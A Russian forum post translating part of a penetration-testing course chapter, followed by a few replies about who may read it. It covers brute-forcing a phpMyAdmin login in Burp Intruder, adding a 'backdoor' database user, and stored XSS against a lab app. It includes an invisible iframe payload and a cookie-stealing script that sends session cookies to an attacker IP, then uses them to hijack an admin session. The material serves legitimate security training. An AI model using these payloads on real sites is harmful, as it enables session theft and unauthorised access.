Теперь, когда определились с настройками "Recursive Grep", необходимо установить полезные нагрузки, щелкнув вкладку Payloads. Всего установим четыре полезных нагрузки. Для каждой позиции, которую отметили ранее, есть значение Payload set, и они соответствуют позициям последовательно. Другими словами, набор один предназначен для cookie сеанса, набор два - для поля сеанса, набор три - это поле пароля, а набор четыре - для поля токена.

Первый набор полезных данных - это значение сеансовых cookie phpMyAdmin. Необходимо выбрать "Recursive Grep" в качестве типа и затем щелкнуть From [_session" value="] to [" />Log] в качестве параметра Payload Option.

burp_suite_intruder_11.png

Рисунок 48: Установка параметров полезной нагрузки

Второй набор пейлоада - это значение set_session. Он должен соответствовать значению cookie phpMyAdmin, поэтому используем те же настройки, что и для первого набора пейлоада - "Recursive Grep" в качестве типа и From [_session" value="] to [" />Log] в качестве Payload Option.

Третий набор пейлоада - это значение пароля. Настроим его для использования пейлоада типа "Simple list" (Простой список). Как видно из названия, этот тип полезной нагрузки использует простой список строк. Можно добавлять значения в список, вручную вводя пароли в текстовое поле и нажимая Add. Повторим это, чтобы ввести несколько часто используемых паролей.

burp_suite_intruder_12.png

Рисунок 49: Ввод паролей

Наконец, четвертый набор пейлоада - это значение token. Вновь будем использовать тип полезной нагрузки "Recursive grep" и From [.php" /><input type=“hidden” name=“token” value="] to [" /><fieldset>] в качестве нашей Payload Option.

burp_suite_intruder_13.png

Рисунок 50: Настройка четвертого набора пейлоада

Был выполнен ряд шагов по настройке, поэтому давайте посмотрим, что было сделано, прежде чем начинать атаку.

Должно быть определено четыре позиции, отмеченные на вкладке Positions: значения для phpMyAdmin cookie и значения тела POST для параметров set_session, pma_password и token:

burp_suite_intruder_14.png

Рисунок 51: Настройки Intruder

Пейлоады для набора один и два - это "Recursive grep" с полезной нагрузкой извлечения сеанса. Пейлоад для третьего набора - это "Simple list" со слабыми паролями. Наконец, пейлоад для набора четыре - снова "Reverse grep", но с полезной нагрузкой извлечения токена.

burp_suite_intruder_15.png

Рисунок 52: Все пейлоады настроены

Закончив проверку настроек, нажимаем кнопку Start attack. Это сопровождается следующим сообщением:

burp_suite_intruder_16.png

Рисунок 53: Ограничения Burp Intruder

Демо версия intruder'а отлично подойдет для этой демонстрации, поэтому нажмем Ok, чтобы начать атаку и отправить запросы, при этом каждая отмеченная нами позиция заменена соответствующими значениями полезной нагрузки. Burp Suite откроет новое окно с результатами:

burp_suite_intruder_17.png

Рисунок 54: Просмотр результатов атаки

Если все настроено правильно, один запрос вызовет ответ 302, который отличается от других ответов 200. Эта запись также содержит cookie «pmaAuth-1», который, кажется, указывает на успешный вход в систему. Согласно выходным данным, Burp Suite смог войти в систему как root с паролем "root". Можно проверить это вручную в нашем браузере:

burp_suite_intruder_18.png

Рисунок 55: Консоль phpMyAdmin

Этот пример может показаться несколько необычным, но слабые или предсказуемые пароли все еще слишком распространены в реальном мире, и этот демонстрационный процесс, безусловно, будет работать с более сложными примерами из реального мира.

Можно использовать доступ к phpMyAdmin для выполнения произвольных SQL-запросов непосредственно к базе данных. Если нажмем на вкладку SQL, сможем написать свои собственные SQL-запросы. Рассмотрим SQL более подробно позже в этой главе, а пока введем select * from webappdb.users; в качестве запроса для получения всех данных в таблице users в базе данных webappdb.

burp_suite_intruder_19.png

Рисунок 56: Выполнение запросов через phpMyAdmin

После нажатия Go получаем результаты запроса, в том числе пароли в виде открытого текста.

burp_suite_intruder_20.png

Рисунок 57: Просмотр результатов запроса через phpMyAdmin

Возможно делать не только запросы к базе данных и просматривать содержимое таблиц, но также можно вносить изменения в базу данных.

Создадим нового пользователя, нажав Show query box и введя insert into webappdb.users(password, username) VALUES ("backdoor","backdoor");. Этот запрос добавит нового пользователя с именем "backdoor" с паролем "backdoor".

burp_suite_intruder_21.png

Рисунок 58: Добавление нового пользователя-администратора

Затем нажмем Go, чтобы выполнить запрос. Страница обновится и покажет "1 row inserted" (1 строка добавлена).

burp_suite_intruder_22.png

Рисунок 59: Результаты запроса

Можно проверить, что пользователь был добавлен, щелкнув Show query box, введя select * from webappdb.users;, а затем нажав Go. Это должно вернуть три записи:

burp_suite_intruder_23.png

Рисунок 60: Проверка, что наш пользователь добавлен

Это всего лишь краткий пример того, что можно сделать с доступом к PhpMyAdmin и SQL-запросам. Рассмотрим это подробнее далее в этой статье при демонстрации SQL-инъекции и при получении доступа с помощью SQL-запросов к шеллу на сервере.

Межсайтовый скриптинг (XSS)

Одной из наиболее важных функций хорошо защищенного веб-приложения является , процесс, в котором пользовательский ввод обрабатывается, удаляя или преобразуя все опасные символы или строки. Отсутствие фильтрации данных позволяет злоумышленнику внедрить и потенциально выполнить вредоносный код. Когда неотфильтрованные данные отображаются на веб-странице, это создает уязвимость .

Когда-то считавшаяся уязвимостью с относительно низким уровнем риска, сегодня XSS является одновременно риском высокой степени важности и широко распространенным, позволяя злоумышленникам внедрять скрипты на клиентской стороне, например JavaScript, в веб-страницы, просматриваемые другими пользователями.

Существует три варианта межсайтового скриптинга: , , и .

Хранимые XSS-атаки, также известные как Persistent XSS, происходят, когда пейлоад эксплойта хранится в базе данных или иным образом кэшируется сервером. Затем веб-приложение извлекает этот пейлоад и отображает его всем, кто просматривает уязвимую страницу. Таким образом, одна хранимая уязвимость XSS может атаковать всех пользователей сайта. Уязвимости хранимых XSS часто присутствуют в программном обеспечении форумов, особенно в разделах комментариев или обзорах продуктов.

Отраженные XSS-атаки обычно включают пейлоад в созданный запрос или ссылку. Веб-приложение принимает это значение и помещает его в содержимое страницы. Этот вариант атакует только человека, отправляющего запрос или просматривающего ссылку. Отраженные уязвимости XSS часто могут возникать в полях поиска и результатах поиска, а также везде, где вводимые пользователем данные включены в сообщения об ошибках.

XSS-атаки на основе DOM похожи на два других типа, но происходят исключительно в рамках объектной . Не будем вдаваться во многие детали сейчас, но браузер анализирует содержимое HTML страницы и генерирует внутреннее представление DOM. JavaScript может программно взаимодействовать с этой DOM.

Этот вариант возникает, когда в DOM страницы вносятся контролируемые пользователем данные. XSS на основе DOM может быть хранимым или отраженным. Ключевое отличие состоит в том, что XSS-атаки на основе DOM происходят, когда браузер анализирует содержимое страницы и выполняет вставленный JavaScript.

Независимо от того, как полезная нагрузка XSS доставляется и выполняется, внедренные скрипты выполняются в контексте работы пользователя, просматривающего содержащую XSS страницу. То есть браузер пользователя, а не веб-приложение, выполняет полезную нагрузку XSS. Тем не менее, эти атаки могут иметь значительное влияние, приводя к захвату сеанса, принудительному перенаправлению на вредоносные страницы, выполнению локальных приложений от имени этого пользователя и многому другому. В следующих разделах рассмотрим некоторые из этих атак.

Выявление XSS-уязвимостей

Потенциальные точки входа для XSS можно найти изучив веб-приложение и определив поля ввода (такие как поля поиска), принимающие данные, которые затем отображается как вывод на последующих страницах.

Как только определим точку входа, попробуем ввести специальные символы и посмотреть - не возвращаются ли какие-то из них на последующих страницах (т.о. эти символы являются неотфильтрованными, т.е. проходят через фильтр).

Наиболее распространенные специальные символы, используемые для этой цели:

Bash:
< > ' " { } ;
Листинг 6- Специальные символы для HTML и JavaScript

Опишем назначение этих специальных символов. HTML использует "<" и ">" для обозначения , различных компонентов, составляющих документ HTML. JavaScript использует "{" и "}" в объявлениях функций. Одинарные ( ’ ) и двойные ( " ) кавычки используются для обозначения строк, а точки с запятой ( ; ) используются для обозначения конца оператора.

Если приложение не удаляет и не кодирует эти символы, оно может быть уязвимо для XSS, поскольку символы могут использоваться для введения кода на страницу.

Хотя существует несколько типов кодирования, чаще всего в веб-приложениях встречаются и . Кодировка URL-адреса, иногда называемая процентным кодированием, используется для преобразования не-ASCII-символов в URL-адресах, например для преобразования пробела в "%20".

Кодировку HTML (или ссылки на символы) можно использовать для отображения символов, которые обычно имеют особое значение, например элементов тегов. Например, "&lt;" ссылка на символ для "<". При обнаружении этого типа кодирования браузер не будет интерпретировать символ как начало элемента, а будет отображать фактический символ как есть.

Если получится ввести эти специальные символы на страницу, браузер будет рассматривать их как элементы кода. Затем можно начать создавать код, который будет выполняться в браузере жертвы.

Могут понадобиться разные наборы символов в зависимости от того, куда включается наш ввод. Например, если ввод добавляется между тегами div, нам нужно будет включить наши собственные и нужно будет иметь возможность вставлять "<" и ">" как часть полезной нагрузки. Если ввод добавляется в существующий тег JavaScript, могут потребоваться только кавычки и точки с запятой, чтобы добавить собственный код.

Базовый XSS

Продемонстрируем базовый XSS с помощью простой атаки на лабораторную машину с Windows 10.

Вернувшись к веб-приложению, работающему на порту 80 лабораторной машины с Windows 10, начнем с запуска Apache и MySQL (через XAMPP, как делали раньше) и просмотра главной веб-страницы:

basic_XSS_1.png
Рисунок 61: Тако. Вкусные тако.

Приложение содержит несколько недостатков, включая хранимую XSS уязвимость. Чтобы продемонстрировать это, можно вставить несколько специальных символов в поля формы обратной связи и отправить их. Начнем с отправки некоторых специфичных для JavaScript символов: двойных кавычек ( " ), точки с запятой ( ; ), "<" и ">":

basic_XSS_2.png

Рисунок 62: Проверка на XSS

Просматривая полученное сообщение в инструменте Inspector, видно, что вставленные символы не были удалены или закодированы:

basic_XSS_3.png

Рисунок 63: Просмотр отправленного отзыва

Поскольку входные данные не фильтруются и не обезвреживаются, а введеные специальные символы попали в выводные данные, то условия выглядят подходящими для уязвимости XSS. Изучим исходный код, чтобы лучше понять, что происходит.

Когда на сайт отправляется отзыв, он обрабатывается следующим кодом:

PHP:
36 <?php
37 include "database.php";
38 $sql = "INSERT INTO feedback(name, text) VALUES (?,?)";
39 $stmt = $conn->prepare($sql);
40 $stmt->bind_param("ss", $_POST['name'], $_POST['comment']);
41 $stmt->execute();
42 ?>
Листинг 7 - Отрывок кода из submitFeedback.php

Строка 40 в Листинге 7 обрабатывает значения полей "name" и "comment", отправленные на сервер. Код вставляет эти значения в базу данных без каких-либо изменений.

Далее проверим код, отображающий отзыв на сайте:

PHP:
38 <?php
39 include "database.php";
40 $sql = "SELECT name, text FROM feedback";
41 $result = $conn->query($sql);
42 if ($result->num_rows > 0) {
43 while($row = $result->fetch_assoc()) {
44 echo "<tr><td> " . $row["name"]. "</td><td>" . $row["text"]. "</td></t
r>";
45 }
46 } else { echo "No results :("; }
47
48 ?>
Листинг 8 - Отрывок кода из feedback.php

Строка 44 в Листинге 8 записывает результаты из базы данных на страницу. Результаты действительно выводятся без каких-либо изменений.

Где следует проверять данные? При отправке или при отображении? В идеале данные должны быть очищены в обоих местах. Проверка в обоих точках была бы примером и принципа безопасности, согласно которым рекомендуется добавлять уровни защиты везде, где это возможно. Это ведет к созданию более надежных приложений. Однако, если проверка применяется только в одном месте, его следует применять последовательно. В PHP функция может использоваться для преобразования ключевых символов в объекты HTML перед отображением строки. Использование этой функции в любом из рассмотренных нами PHP-файлов поможет предотвратить эту XSS уязвимость.

Обновим наш ввод и создадим полезную нагрузку, которая отображает простое предупреждение Javascript alert. Основываясь на коде, который был рассмотрен, видно, что отправленное сообщение вставляется в ячейку таблицы HTML. Здесь не нужны никакие причудливые трюки с кодированием, только базовая полезная нагрузка XSS, такая как "<script>alert('XSS')</script>". Вставим ее сейчас.

basic_XSS_4.png

Рисунок 64: Отправка полезной нагрузки XSS

После отправки полезной нагрузки обновление Feedback страницы должно выполнить наш внедренный JavaScript:

basic_XSS_5.png

Рисунок 65: JavaScript выполняется при просмотре страницы

Превосходно. Была внедрена полезная нагрузка межсайтового скриптинга в базу данных веб-приложения, и она будет срабатывать для всех, кто просмотрит сайт. Простое окно предупреждения - это несколько тривиальный пример того, что можно сделать с помощью межсайтового скриптинга, поэтому давайте попробуем что-нибудь более интересное.

Внедрение контента

XSS-уязвимости часто используются для реализации клиентских атак, поскольку они позволяют перенаправить браузер жертвы в место по выбору злоумышленника. Скрытая альтернатива перенаправлению - внедрить невидимый , как показано ниже, в полезную нагрузку XSS.

HTML:
<iframe src=http://10.11.0.4/report height=”0” width=”0”></iframe>
Листинг 9 - Использование iframe для доставки полезной нагрузки XSS

Iframe используется для встраивания другого файла, такого как изображение или другой файл HTML, в текущий документ HTML. В случае "report" - это файл с гиперссылкой на атакующую машину, а iframe невидим, потому что он не имеет размера, так как высота и ширина установлены в ноль.

Как только эта полезная нагрузка будет отправлена, любой пользователь, посетивший страницу, подключится к атакующей машине. Чтобы протестировать это, можно создать листенер Netcat на атакующей машине (10.11.0.4 в данном примере) на порту 80 и обновить страницу обратной связи.

Bash:
kali@kali:~$ sudo nc -nvlp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 41612
GET /report HTTP/1.1
Host: 10.11.0.4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.11.0.22/feedback.php
...
Листинг 10 - Использование Netcat для получения XSS-запроса

Как показано выше, перенаправление браузера сработало, отправив браузер жертвы на атакующую машину через iframe. Опять же, жертва не увидит iframe нулевого размера в своем браузере.

Можно было бы пойти дальше и перенаправить браузер жертвы для реализации атаки на клиентской стороне или на скрипт сбора информации.

Для этого нужно сначала захватить заголовок User-Agent жертвы, чтобы помочь определить тип используемого браузера. В приведенном выше примере использовался Netcat, потому что он показывает полный запрос, отправленный из браузера, включая заголовок User-Agent. HTTP-сервер Apache также захватывает заголовок User-Agent по умолчанию в /var/log/apache2/access.log.

Сейчас не будут проводиться какие-либо атаки на клиентской стороне. Вместо этого попытаемся получить доступ к веб-приложению с правами администратора.

Кража файлов cookie и информации о сеансе

XSS можно также использовать для кражи и информации о сеансе, если приложение использует небезопасную конфигурацию управления сеансом. Если удастся украсть cookie аутентифицированного пользователя, сможем выдать себя за этого пользователя на целевом веб-сайте.

Чтобы предоставить некоторую справочную информацию, веб-сайты используют файлы cookie для отслеживания и информации о пользователях. Файлы cookie могут быть установлены с помощью нескольких необязательных флагов, включая два, которые особенно интересны нам, как пентестерам: Secure и HttpOnly.

указывает браузеру отправлять cookie только через зашифрованные соединения, такие как HTTPS. Это защищает cookie от отправки в открытом виде и захвата по сети.

указывает браузеру запретить доступ JavaScript к cookie. Если этот флаг не установлен, можно использовать полезную нагрузку XSS для кражи cookie.

Однако, даже если этот флаг не установлен, необходимо обойти некоторые другие элементы управления браузером, поскольку безопасность браузера диктует, что файлы cookie, установленные одним доменом, не могут быть отправлены напрямую в другой домен. Кроме того, это можно ослабить для поддоменов в директиве Set-Cookie с помощью флагов Domain и Path. В качестве обходного пути, если JavaScript может получить доступ к значению cookie, можно использовать его как часть ссылки и отправить ссылку, которую возможно было бы деконструировать, чтобы получить значение cookie.

Попробуем на примере продемонстрировать, как это работает. В примере приложение устанавливает cookie PHPSESSID, когда пользователь с правами администратора входит в систему. Приложение использует cookie, чтобы определить прошел ли пользователь аутентификацию. Если изменить полезную нагрузку, можно захватить файл cookie PHPSESSID жертвы, чтобы получить доступ к аутентифицированному сеансу.

Будем использовать JavaScript для чтения значения файла cookie и добавления его к URL-адресу в изображении, который ведет к атакующей машине. Браузер прочитает тег изображения (image) и отправит запрос GET в атакующую систему с значением cookie жертвы, как часть строки запроса URL.

Чтобы создать пейлоад для кражи (угона) cookie, потребуется изменить полезную нагрузку XSS следующим образом:

HTML:
<script>new Image().src="http://10.11.0.4/cool.jpg?output="+document.cookie;</script>
Листинг 11 - Полезная нагрузка XSS для кражи файлов cookie

Как только будет отправлена данная полезную нагрузку в приложение, останется дождаться, пока аутентифицированный пользователь получит доступ к приложению, чтобы появилась возможность украсть файл cookie PHPSESSID. Можно сделать это вручную с нашего лабораторного компьютера с Windows 10 или можно использовать PowerShell скрипт на лабораторном компьютере с Windows 10 (Documents/admin_login.ps1) для имитации входа в систему администратора:

PHP:
$username="admin"
$password="p@ssw0rd"
$url_login="127.0.0.1/login.php"

$ie = New-Object -com InternetExplorer.Application
$ie.Visible = $true
$ie.navigate("$url_login")
while($ie.ReadyState -ne 4){ start-sleep -m 1000}
$ie.document.getElementsByName("username")[0].value="$username"
$ie.document.getElementsByName("password")[0].value="$password"
start-sleep -m 10
$ie.document.getElementsByClassName("btn")[0].click()
start-sleep -m 100
$ie.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($ie)
Листинг 12 - admin_login.ps1

Этот скрипт создает экземпляр Internet Explorer, переходит на страницу входа, аутентифицируется в системе, после чего завершает работу. Этого достаточно для срабатывания пэйлоада XSS. Можно запустить скрипт с параметром -ExecutionPolicy Bypass, чтобы временно разрешить неподписанные скрипты, и параметром -File admin_login.ps1, чтобы указать скрипт для выполнения:

Bash:
C:\Users\admin\Documents> powershell -ExecutionPolicy Bypass -File admin_login.ps1
Листинг 13 - Запуск сценария PS1

Как только жертва просматривает зараженную страницу, ее браузер устанавливает обратное соединение с нами с аутентифицированным значением ID сеанса:

Bash:
kali@kali:~$ sudo nc -nvlp 80
listening on [any] 80 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 53824
GET /cool.jpg?output=PHPSESSID=ua19spmd8i3t1l9acl9m2tfi76 HTTP/1.1
Referer: http://127.0.0.1/admin.php
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
...
Листинг 14 - Использование Netcat для получения cookie

Теперь, когда имеется аутентифицированный ID сеанса, необходимо установить его в нашем браузере. Можно использовать надстройку браузера , чтобы легко устанавливать файлы cookie и управлять ими.

Можно установить это дополнение, перейдя по адресу в Firefox и нажав Add to Firefox:

stealing_cookies_and_session_information_1.png

Рисунок 66: Менеджер дополнений Firefox

Нажмите Add, чтобы принять диалоговое окно разрешений и установить надстройку. Должен появится новый значок cookie на панели инструментов Firefox рядом со значком FoxyProxy.

stealing_cookies_and_session_information_2.png

Рисунок 67: Значок Cookie-Editor

Теперь, когда установлен Cookie-Editor, вернемся к веб-приложению и щелкнем значок Cookie-Editor, чтобы открыть его диалоговое окно.

stealing_cookies_and_session_information_3.png

Рисунок 68: Диалоговое окно Cookie-Editor

Затем нажмите кнопку Add, вставьте значения украденных файлов cookie и нажмите Add, чтобы сохранить новый файл cookie:

stealing_cookies_and_session_information_4.png

Рисунок 69: Добавление файла cookie

После добавления значения cookie можно перейти к административному интерфейсу по адресу /admin.php без предоставления каких-либо учетных данных:

stealing_cookies_and_session_information_5.png

Рисунок 70: Доступ к странице администратора без учетных данных

Обратите внимание, что осуществлялось не перенаправление на страницу входа и одновременно с этим присутствуют управляющие ссылки "Delete" рядом с элементами отзыва. Это означает, что удалось успешно угнать сеанс администратора. Также обратите внимание, что эта атака зависит от сессии. С момента угона сессии можно маскироваться под жертву, пока она не выйдет из системы или не истечет срок жизни сессии.

Другие векторы XSS-атак

Выше были показаны некоторые основные примеры использования XSS. Если веб-приложение не проверяет ввод данных пользователя перед его отображением, то в распоряжении имеется полный набор JavaScript, ограниченный только длиной кода, который можно внедрить в приложение. Даже при ограниченных размерах пейлоада возможно использовать XSS для вставки ссылки на внешний файл JavaScript для обхода ограничения размера ввода.

Варианты использования XSS не ограничиваются только кражей файлов cookie. Уже упоминались редиректы и атаки на клиентской стороне. Другие примеры XSS пейлоадов включают такие варианты как кейлогеры, фишинговые атаки, сканирование портов и веб-скрейпинг/скиммеры контента. Kali Linux включает приложение BeEF, фреймворк для эксплуатации браузера, который может использовать простую уязвимость XSS для запуска множества различных атак на клиентской стороне. Здесь не будет рассматриваться BeEF, но рекомендуется изучить его функциональность самостоятельно.
---------------------------------------------------------------------------------------------------------------------------------------------------------
~51% главы. Продолжение следует...
 
Последнее редактирование:
Кто нить мне скажет, что в этой статье такого сокрального, что для Red Team и выше?
 
  • Нравится
Реакции: <~DarkNode~>
Да ничего, что не было бы опубликовано в открытых источниках. Единственное, чем эта статья отличается от остальных на форуме, она является переводом PWK с ссылками на лабы и домены OffSec`а. Выкинуть из нее ссылки, адреса или заменить на лабы codeby и можно в обычный доступ ее отпускать.
 
Кто нить мне скажет, что в этой статье такого сокрального, что для Red Team и выше?
Напомню. Это перевод книги, над которой часть Red Team команды трудилась пол года. Работа выполнялась исключительно для ред и выше.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!